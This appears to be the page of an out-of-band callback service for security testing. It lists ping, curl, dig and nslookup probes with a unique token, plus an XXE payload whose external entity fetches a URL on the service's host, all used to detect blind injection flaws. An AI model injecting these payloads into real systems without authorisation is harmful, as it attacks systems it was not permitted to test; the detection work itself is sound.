$ ping -c1 -p 007013e04fab9a4a0e6d3a6203b0d400 unhack.ca
 
$ curl http://unhack.ca/p/7013e04fab9a4a0e6d3a6203b0d4
 
$ dig 7013e04fab9a4a0e6d3a6203b0d4 @unhack.ca
 
$ dig 7013e04fab9a4a0e6d3a6203b0d4.ns.unhack.ca
 
C:\> nslookup 7013e04fab9a4a0e6d3a6203b0d4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7013e04fab9a4a0e6d3a6203b0d4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...